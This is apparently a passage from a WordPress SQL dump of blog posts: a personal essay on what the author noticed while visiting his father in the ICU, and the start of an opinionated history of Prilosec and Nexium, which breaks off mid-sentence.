It’s all shooting in the dark, and most of the time I felt like I could have done just as good a job on these longterm issues as the ICU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few factors that contribute to this. The first is the aforementioned lack of institutional memory. The only people seeing the patient are the ICU doctor, who changes out every few days, the consultant, who sees the patient once every few days, and the family, who’s there consistently but doesn’t know what to look for. The only real way to track the patient’s progress over time is then the chart, which contains the patient’s test results.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, there are a couple problems with these tests. First, they aren’t that informative for most situations. There’s no real test that can tell why someone has been constipated for a week or has hallucinations.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, even when the tests are informative, they are a single snapshot in time. So, it’s helpful to know if someone’s thyroid levels (TSH) are low. But, all that tells you is that their TSH levels were low at the instant of the test. It doesn’t tell you how their TSH levels change over the course of the day or in response to thyroid hormone supplementation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last factor is a lack of adequate tools. Most of the long term issues that come up don’t have great treatments for them. Hallucinations only really have antipsychotics. Digestive issues only have the same laxatives and antidiarrheal medicines that we all are familiar with. Adrenal insufficiency only has hydrocortisone. All of these medicines have a huge amount of side effects and don’t treat the underlying issue particularly well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Compare the difficulty doctors have with managing longterm issues to, say, how they manage blood pressure. Changes in blood pressure are difficult to deal with, but doctors have a lot of drugs and surgical interventions they can use to deal with changes in blood pressure. They also have constant monitoring of blood pressure, and blood pressure responds quickly to any intervention, so they can see if their intervention is working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this together means that…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8.&nbsp;<strong>The ICU is a good place to not die, but a bad place to recover</strong>. Right as I was finishing up this essay/list/listicle, my dad was declared healthy enough to get moved from the ICU to a stepdown unit.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A stepdown unit has much less intensive monitoring than an ICU unit. One nurse covers several patients. As my family and I found out, it also has much less skilled nurses. Our nurse is a trainee, who seems entirely overwhelmed by covering my dad. She’s been continually absent from his room, and leaves a lot of care to his untrained “patient care assistant”. His assistant, in turn, is also overwhelmed, and so I and my family personally end up providing my dad with a lot of help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet, my dad, so far, seems to be recovering faster in the stepdown unit. His confusion seems to be clearing and his physical abilities are coming back faster. The lack of intensive monitoring means that he’s not being continually disturbed when he’s sleeping, and there’s less stuff hooked up to him that he can mess with and get himself in trouble.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I do appreciate everything that the ICU did to prevent my dad from dying. He went from a comatose patient on a ventilator to a guy who can walk with assistance, eat real food, and hold simple conversations. My hope is that in another month he’ll be able to be home, even if he needs an assistant for day-to-day things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, it does seem ironic that, at some point in his care, the best thing for him seems to be an overwhelmed nurse who mostly leaves him alone with his family. It really makes me think about how the hospital might be organized differently. If the hospital focused less on pure survival, might their patients recover faster?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/85376912#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The slightly longer story is that my dad was receiving Opdivo (nivolumab) for his lung cancer. For reasons that are unclear, but I might explore in a later blog post, nivolumab destroyed his body’s ability to make cortisol. This gave my dad the equivalent of Addison’s disease.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cortisol is necessary for recovery from traumatic events, as it is involved in controlling inflammation. Without cortisol, my dad was unable to recover from the massive inflammation caused by the surgery. A constellation of bad events happened, and he ended up comatose in the ICU until an ICU doctor realized the problem and started giving him hydrocortisone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/85376912#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I take no responsibility for the FTX Future Fund blowing up.</p>\n<!-- /wp:paragraph -->','Things I\'ve noticed while visiting the ICU','','publish','closed','closed','','things-ive-noticed-while-visiting-the-icu','','','2022-11-22 19:11:49','2022-11-22 19:11:49','',0,'https://trevorklee.com/?page_id=329',0,'page','',0),
(330,1,'2022-11-22 19:11:49','2022-11-22 19:11:49','<!-- wp:paragraph -->\n<p>I’ve spent just about the last month visiting my dad in the ICU every day. The long story short is that my dad had surgery for lung cancer, recovery went really poorly, and my dad’s been slowly progressing from comatose to, hopefully, something resembling his former self<a href=\"https://substack.com/inbox/post/85376912#footnote-1\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Needless to say, this has been a terrible experience. It’s been horrible seeing my dad in the ICU and seeing my family stress about my dad. It’s also been very difficult for me to keep my life and work on track while spending 4+ hours a day at the hospital. This latter point is why it took me 3 weeks to write my last post encouraging the FTX Future Fund to establish an IPCC report for AGI predictions, just in time for the FTX Future Fund to blow up<a href=\"https://substack.com/inbox/post/85376912#footnote-2\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There have been very few silver linings to this experience. However, one of the silver linings has been an up-close-and-personal look at how an ICU works. Now, for context, I should mention that my dad has been in one of the cardiovascular ICU units at Brigham and Women’s Hospital. This is one of the nicest and best-resourced ICUs in the country. So, my assumption has been that the faults of this ICU unit are likely shared by all ICUs, while the virtues probably are not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, here’s a list of things I’ve noticed about the ICU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>The ICU is filled with old people.</strong>&nbsp;There are around 10 beds in the ICU unit that my dad is in. Due to the nature of the ICU, patients come in and out frequently, and it’s actually rare for anyone to stay as long as my dad has. Of the patients I’ve seen come in and out, I’d guess that over 90% are over 70 (including my dad).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F924d217e-12e9-4fd7-811e-83a2da2a05ec_1440x900.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F924d217e-12e9-4fd7-811e-83a2da2a05ec_1440x900.png\" alt=\"Mystic Falls Hospital | The Vampire Diaries Wiki | Fandom\" title=\"Mystic Falls Hospital | The Vampire Diaries Wiki | Fandom\"/></a><figcaption class=\"wp-element-caption\">This is not a picture of a real hospital. This is a picture of Mystic Falls hospital, from the CW show “The Vampire Diaries”. If I remember correctly, the guy on the left is an evil vampire hunter (the vampires in the show are mostly heroes, except when they’re evil and trying to take over the world), and the doctor on the right is maybe a vampire? Or she might just be friends with a vampire but not realize it. Or she gets killed by a vampire. I forget and refuse to look it up. It\'s a really stupid show.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I had been aware of how much of our healthcare is utilized by the elderly, but this really put it in stark focus. We are spending an enormous amount of our healthcare budget on patients in the last 5 or 10 years of their life. This includes every part of healthcare: nurses, speciality doctors, primary doctors, surgeons, etc. Pretty much all these patients are on Medicare, which means your taxpayers dollars are making this happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, to put it in even starker terms, the next time you have trouble booking a surgeon or even a gastroenterologist, you can remember that America’s supply of surgeons and gastroenterologists is being disproportionately used by the AARP crowd. I’m not sure if this is a good thing, but I don’t think anyone has a better solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>There are many consults, but the ICU attending is king (or queen)</strong>. My dad, like many ICU patients, has and had a complex case. He’s had problems with his lungs, his heart, bleeding, his gastrointestinal system, his mental status, and his sleep. As such, there have been many consulting physicians called in to advise on my dad: neurologists, psychiatrists, thoracic surgeons, endocrinologists, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This did not surprise me. I didn’t think that a single doctor would be able to handle every part of my dad’s illness. What did surprise me is that the ICU attending feels comfortable ignoring pretty much anyone they disagree with. This is especially true for specialities like psychiatry and neurology, as I think ICU doctors assume brain doctors generally don’t know what they’re doing. Pretty much every recommendation that either psychiatrists or neurologists have made over the course of my dad’s stay has been ignored or modified by the attending. Then the attending passes the orders down to the nurses, who then make decisions based on that, because…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Sometimes nurses are the footsoldiers of the ICU regent, and sometimes they’re governors.&nbsp;</strong>By this I mean that there’s some stuff the nurses have to follow exact orders on, and some stuff they can do almost whatever they want.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, when it comes to prescribing or dosing blood pressure medicine? Exact orders. Giving psychiatric medicine “as needed”? Go wild. Letting patients swallow apple sauce? Exact orders. Letting patients swallow ice chips? Some nurses go wild; some nurses wait for exact orders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And speaking of things that nurses have a lot of leeway with…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4.&nbsp;<strong>Everyone agrees that sleep is important, but nobody has any idea beyond that.&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As far as I can tell, the ICU has progressed a lot with regards to sleep. Previously, the ICU refused to admit sleep was important at all, so they constantly woke patients up with tests, rounds, and even just cleaning. Now, with the advent of modern medicine, the ICU has finally admitted sleep is important for recovery, and you can convince them to make some allowances for sleep, like scheduling finger prick tests for the daytime instead of midnight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, literally nobody has any ideas oh how to fix the sleep problems that are so common in the ICU beyond “patients should sleep at night”. So, should we let a patient nap during the day? Nobody knows! Is it bad if their sedatives make them sleep more than they would normally? Nobody knows!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what ends up happening is that the doctors leave it up to the nurses. Then, the nurses all have their own ideas. One nurse says no naps during the day. The next nurse says naps as needed. Then the next nurse actively encourages naps. It gets very confusing. This is especially problematic because sleep quality affects mental status, which ends up being a big issue in the ICU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5.&nbsp;<strong>Almost every patient has delusions and nightmares, but nobody knows why or how to fix it.&nbsp;</strong>Delusions in the ICU are insanely common. It’s something like 90% of patients. Patients in the ICU often describe delusions as the worst part of their recovery. And yet, nobody knows why or how to fix it. The closest we get to why is some combination of physical trauma, anesthesia, and disrupted sleep, and the closest we get to fixing it is a normal sleep-wake cycle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been going through this with my own dad. My dad went from a mentally healthy (although somewhat anxious) guy to someone who has literally constant hallucinations and delusions. Occasionally he recognizes the hallucinations as not real; occasionally he does not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can say that, as his son, it’s been particularly sad for me to watch him go through this. My dad has somewhat frequently believed that the ICU staff is kidnapping him or holding him hostage, and often worries that we, his family, are hostages too. Because of this, he often tries to remove his IVs and catheter, which is stressful for everyone. These hallucinations also make it difficult for him to do physical tasks, as he sees things that aren’t there and tries to avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One suggestion people do have to combat the hallucinations and delusions is to have some sense of constancy. This is difficult because…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6.&nbsp;<strong>The ICU staff is literally constantly changing.</strong>&nbsp;The ICU has a difficult staffing job. It’s a 24 hour center filled with skilled and highly skilled staff. So, ICU staff tend to work 3 days a week for 12 hours each day, and rotate whether they take the day or night shift.<br><br>I understand why the ICU is set up this way. It limits handovers and prevents one staff member from being always stuck with the night shift. However, it has some serious problems.<br><br>First, from a patient perspective, the nurses and doctors are constantly changing. This is confusing for a deluded patient, and it’s difficult for their loved ones. For example, we kept having to tell nurses not to put the news on the TV, as my dad, a fervent Republican, gets worked up by MSNBC or CNN. However, each new nurse would put MSNBC or CNN on, usually confused by my dad’s request for CNBC, the business channel. Finally, we had to just write “TV: golf” on the whiteboard in his room.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, there’s no institutional memory beyond the medical chart. While the medical chart says what was prescribed, it never says anything beyond that. So, for example, my dad’s poor reaction to Haldol was not included on the chart. We had to inform each new nurse not to give him Haldol, and then still had a new nurse give him Haldol when he was agitated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This problem becomes especially acute with any longterm issues because…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7.&nbsp;<strong>The ICU is great at managing acute issues, and struggles a lot more with longterm issues.&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anything that happens quickly the ICU is great at managing. Sudden drops in blood pressure or blood oxygen, very agitated patients, or even just bathroom emergencies are all things that the ICU staff swoops in and handles, well, handily. However, anything that takes longer to get a handle on the ICU struggles a lot more with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, digestive issues, hormonal issues, and mental issues all get short shrift. Basically, if there’s an obvious symptom, a consult will come in to try to treat the symptom. Then they’ll take another test in a day or so, see what happens, and go from there. There’s no sense of a scientific method, reasoning from first principles, or even reasoning from similar cases though. It’s all shooting in the dark, and most of the time I felt like I could have done just as good a job on these longterm issues as the ICU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few factors that contribute to this. The first is the aforementioned lack of institutional memory. The only people seeing the patient are the ICU doctor, who changes out every few days, the consultant, who sees the patient once every few days, and the family, who’s there consistently but doesn’t know what to look for. The only real way to track the patient’s progress over time is then the chart, which contains the patient’s test results.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, there are a couple problems with these tests. First, they aren’t that informative for most situations. There’s no real test that can tell why someone has been constipated for a week or has hallucinations.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, even when the tests are informative, they are a single snapshot in time. So, it’s helpful to know if someone’s thyroid levels (TSH) are low. But, all that tells you is that their TSH levels were low at the instant of the test. It doesn’t tell you how their TSH levels change over the course of the day or in response to thyroid hormone supplementation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last factor is a lack of adequate tools. Most of the long term issues that come up don’t have great treatments for them. Hallucinations only really have antipsychotics. Digestive issues only have the same laxatives and antidiarrheal medicines that we all are familiar with. Adrenal insufficiency only has hydrocortisone. All of these medicines have a huge amount of side effects and don’t treat the underlying issue particularly well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Compare the difficulty doctors have with managing longterm issues to, say, how they manage blood pressure. Changes in blood pressure are difficult to deal with, but doctors have a lot of drugs and surgical interventions they can use to deal with changes in blood pressure. They also have constant monitoring of blood pressure, and blood pressure responds quickly to any intervention, so they can see if their intervention is working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this together means that…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8.&nbsp;<strong>The ICU is a good place to not die, but a bad place to recover</strong>. Right as I was finishing up this essay/list/listicle, my dad was declared healthy enough to get moved from the ICU to a stepdown unit.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A stepdown unit has much less intensive monitoring than an ICU unit. One nurse covers several patients. As my family and I found out, it also has much less skilled nurses. Our nurse is a trainee, who seems entirely overwhelmed by covering my dad. She’s been continually absent from his room, and leaves a lot of care to his untrained “patient care assistant”. His assistant, in turn, is also overwhelmed, and so I and my family personally end up providing my dad with a lot of help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet, my dad, so far, seems to be recovering faster in the stepdown unit. His confusion seems to be clearing and his physical abilities are coming back faster. The lack of intensive monitoring means that he’s not being continually disturbed when he’s sleeping, and there’s less stuff hooked up to him that he can mess with and get himself in trouble.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I do appreciate everything that the ICU did to prevent my dad from dying. He went from a comatose patient on a ventilator to a guy who can walk with assistance, eat real food, and hold simple conversations. My hope is that in another month he’ll be able to be home, even if he needs an assistant for day-to-day things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, it does seem ironic that, at some point in his care, the best thing for him seems to be an overwhelmed nurse who mostly leaves him alone with his family. It really makes me think about how the hospital might be organized differently. If the hospital focused less on pure survival, might their patients recover faster?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/85376912#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The slightly longer story is that my dad was receiving Opdivo (nivolumab) for his lung cancer. For reasons that are unclear, but I might explore in a later blog post, nivolumab destroyed his body’s ability to make cortisol. This gave my dad the equivalent of Addison’s disease.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cortisol is necessary for recovery from traumatic events, as it is involved in controlling inflammation. Without cortisol, my dad was unable to recover from the massive inflammation caused by the surgery. A constellation of bad events happened, and he ended up comatose in the ICU until an ICU doctor realized the problem and started giving him hydrocortisone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/85376912#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I take no responsibility for the FTX Future Fund blowing up.</p>\n<!-- /wp:paragraph -->','Things I\'ve noticed while visiting the ICU','','inherit','closed','closed','','329-revision-v1','','','2022-11-22 19:11:49','2022-11-22 19:11:49','',329,'https://trevorklee.com/?p=330',0,'revision','',0),
(332,1,'2023-01-18 16:56:45','2023-01-18 16:56:45','<!-- wp:paragraph -->\n<p>I frequently have a sense that mid-century America thought about risk-taking and innovation very differently than we do today. Big institutions in America seemed willing to take big risks on the chance that they’d have big successes in a way that’s unthinkable today.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, it’s hard to imagine an equivalent to the Interstate Highway Program, the National Space Program, or even Bell Labs being started today. It seems guaranteed they’d be caught up in politics, laden with additional pork, and ultimately whittled down to something far less ambitious way before they got out of the gate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This narrowing of ambition seems to be almost universal across big American organizations and industries, with only a few exceptions. While we still see innovation from startups, big companies seem content to rest on their laurels and buy or license innovations from others.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you might imagine, I’ve been thinking about this recently especially in the context of pharmaceuticals, my own industry. These days, big pharma tends to wait for startups to make and de-risk a scientific innovation, then license or “co-develop” it. Big pharma’s innovations today tend to be much more on the marketing, distribution, and regulatory side.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fef9f9ed3-eedf-46de-a5e1-5e52e0e5745a_1200x630.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fef9f9ed3-eedf-46de-a5e1-5e52e0e5745a_1200x630.jpeg\" alt=\"Big Pharma delivers counteroffer to Trump\'s drug pricing order, but details  remain scarce\" title=\"Big Pharma delivers counteroffer to Trump\'s drug pricing order, but details  remain scarce\"/></a><figcaption class=\"wp-element-caption\">It’s really hard to pick, but this might be my favorite of the “big pharma” stock images.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I recently came across an interesting story in the vein of narrowed ambition regarding the development of omeprazole and its sequel esomeprazole, which you might know better as Prilosec and Nexium. Now, I’d argue that omeprazole is one of the most important drugs in the healthcare system. It is the original proton pump inhibitor and still the eighth most commonly prescribed drug in the US healthcare system. Its effectiveness at treating acid reflux and peptic ulcers means that pretty much everyone ends up using it sooner or later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I’ll discuss later, I feel very differently about esomeprazole, which (spoiler alert!), I think is a shameless money-grab that only exists to fill the pockets of big pharma. Its very existence embodies the narrowed ambition and pursuit of profits over science of modern big pharma. But more on that later. First, omeprazole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The complexity of the saga of omeprazole’s development fits its importance. Omeprazole was very difficult and expensive to develop. AstraZeneca, the developer of omeprazole, started researching gastric acid inhibition in the late 1960s</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-1-88012534\">1</a>. They were successful in rats, but could not find a compound that worked in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the early 70s, they restarted their search, this time with dogs instead of rats. They ended up finding a compound which worked in dogs but was toxic to humans, so they had to modify it to make it less toxic. Unfortunately, that then made the compound too similar to a Hungarian anti-tuberculosis drug, so AstraZeneca’s scientists focused their work on a metabolite of the compound instead that was not covered by the patent. Fortunately, this metabolite turned out to be even better at gastric acid inhibition than the original compound. It was dubbed timoprazole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, again, there were toxicological issues. Long-term toxicological studies indicated that timoprazole caused thyroid enlargement. So, it needed to be modified again to avoid the thyroid issues. This time around, the AstraZeneca researchers ended up with a compound they called picoprazole. They almost ran into another toxicological issue after this, when tests of picoprazole seemed to cause necrotizing vasculitis in dogs. But, after further research, this necrotizing vasculitis was discovered that this was actually a side effect of the deworming that the lab dogs went through, so picoprazole was deemed probably safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While these toxicological studies were going on, other AstraZeneca scientists were still looking at timoprazole. Research on acid-secreting glands of guinea pigs (later mice and then humans) revealed that timoprazole did not just affect the stomach, but the thyroid as well, tying into the toxicological studies from before. They realized that timoprazole inhibited the H+K+-ATPase proton pump that was the final step of gastric acid secretion</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-2-88012534\">2</a>. They combined their toxicological knowledge from before with their new discovery to come up with a compound that would accumulate in the parietal cells. This was omeprazole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Omeprazole entered human trials in 1982, a full decade and a half after studies initially began. But, this was not the end of the story. After human trials began, yet another long-term toxicological study showed that high-dose omeprazole caused endocrine tumors in the stomach of rats. So human trials were halted in 1984. Eventually, they figured out that this was not actually a direct result of omeprazole, but only of halting gastric acid secretion, because the same thing happened in rats who received high doses of other gastric acid inhibitors and rats who were surgically altered to have no gastric acid secretion. So, omeprazole was allowed to resume human studies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, following a comparative study in which omeprazole was put head-to-head against ranitidine, an H2 receptor antagonist (as opposed to omeprazole, which is a proton pump inhibitor), in acid reflux patients and had twice as high healing rates, omeprazole was approved in 1988 in Europe, and in 1989 in the US. From 1988 to 2001, when it went off patent, it generated $26 billion in revenue, making it one of the top selling drugs of all time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that was the story of omeprazole. From conception to release, it took two decades and untold amounts of effort and money. There were at least 4 separate times where it looked like AstraZeneca’s plan of coming up with a gastric acid inhibitor would come to an end, and, at any of those points, the leadership of AstraZeneca could have very easily cut their losses. But they didn’t, and they reaped huge rewards for their monumental efforts. And the public did too, given that they were able to get access to a very effective treatment for heartburn and ulcers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s compare that to the story of esomeprazole, which you might know better as Nexium. Esomeprazole is pretty much AstraZeneca’s sequel to omeprazole. Specifically, it’s the one of the optical isomers of omeprazole. Its story is a lot less impressive than omeprazole. But, before we can get into that, we’ll need some background on what an optical isomer is first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An optical isomer is another name for an enantiomer of a drug, or a “handed” version of a drug. For those of you who don’t remember chemistry class (or never took it), handedness is a property of some molecules in which they can exist in two possible configurations, right or left. These are similar to right and left hands, in that they can’t be superimposed on each other by rotating. Or, if you want to think about it another way, there’s no way to make a left glove fit a right hand, no matter how much you flip the glove around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ffeddbf-652a-4e90-8728-1bac48dc55bd_580x205.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F5ffeddbf-652a-4e90-8728-1bac48dc55bd_580x205.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">From Wikipedia: “(<em>S</em>)-Alanine (left) and (<em>R</em>)-alanine (right) in zwitterionic form at neutral pH”. Note how you can’t flip these around to make them match each other.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In the body, enzymes, which make reactions happen on biologically relevant timescales, are traditionally understood to work on a lock and key method. As you might imagine, a right-handed key will fit differently to a lock than a left-handed key. So, a pharmaceutical will fit an enzyme more or less well depending on whether it’s the right-handed version of the pharmaceutical or the left-handed version.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s where a drug like esomeprazole comes in. When you manufacture a drug with a stereocenter (the part of a molecule that the handedness centers around), you’ll naturally manufacture a “racemic mixture”, meaning an equal amount of left-handed and right-handed drug. You have to apply an extra separation step to get only left-handed or only right-handed drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if you’re a pharmaceutical company, you might think, “I bet one of those enantiomers [the technical term for just the right or left hand of a drug] is more effective than the others. Let’s apply a separation step. Then, whatever we’re left with will be the equivalent of a super effective form of the drug.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can then argue to doctors, patient, investors, and most importantly, the patent office, that your drug is, somehow, a super effective version of the drug, thus clearing that all important novel and non-obvious bar</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/prilosec-nexium-and-the-narrowing#footnote-3-88012534\">3</a>. This is in a nutshell what AstraZeneca did, which I’ll get to in a moment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, the story that AstraZeneca likes to tell about the invention of esomeprazole is that they were looking for a version of omeprazole that would benefit the 2-4% of the population that metabolizes omeprazole poorly because of a mutation in their liver enzymes. These people still benefit from omeprazole, but just have to take more of it more often.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While this has literally no drawback other than inconvenience on the part of the poor metabolizers, AstraZeneca thought it’d be nice if they had a more bioavailable form of omeprazole. As it turns out, after a long period of searching, the left-handed version of omeprazole is the best way to increase bioavailability (so you get more inhibition per each mg). They then figured out how to use chromatography to efficiently separate the isomers, and, voila, had the sequel to their drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To prove that this was a more effective drug, they compared&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002927000023935\">20 mg omeprazole vs. 40 mg esomeprazole in an 8 week trial of acid reflux</a>. Unsurprisingly, 40 mg esomeprazole was more effective at treating acid reflux. They were unfortunately so pressed for time that they didn’t get the chance to compare 40 mg omeprazole vs. 40 mg esomeprazole, and jumped straight into getting the drug approved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Esomeprazole was approved in 2000 and given the name Nexium. AstraZeneca immediately got to marketing it as an improved version of omeprazole, while simultaneously trying to sue anyone who was gearing up to make a generic version of omeprazole by claiming they were infringing on a manufacturing patent, regardless of whether or not that was true.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These strategies worked, as AstraZeneca was not only able to eke out 6 months additional exclusivity for omeprazole/Prilosec, a drug that made $71 million a week, but they also ended up making $50+ 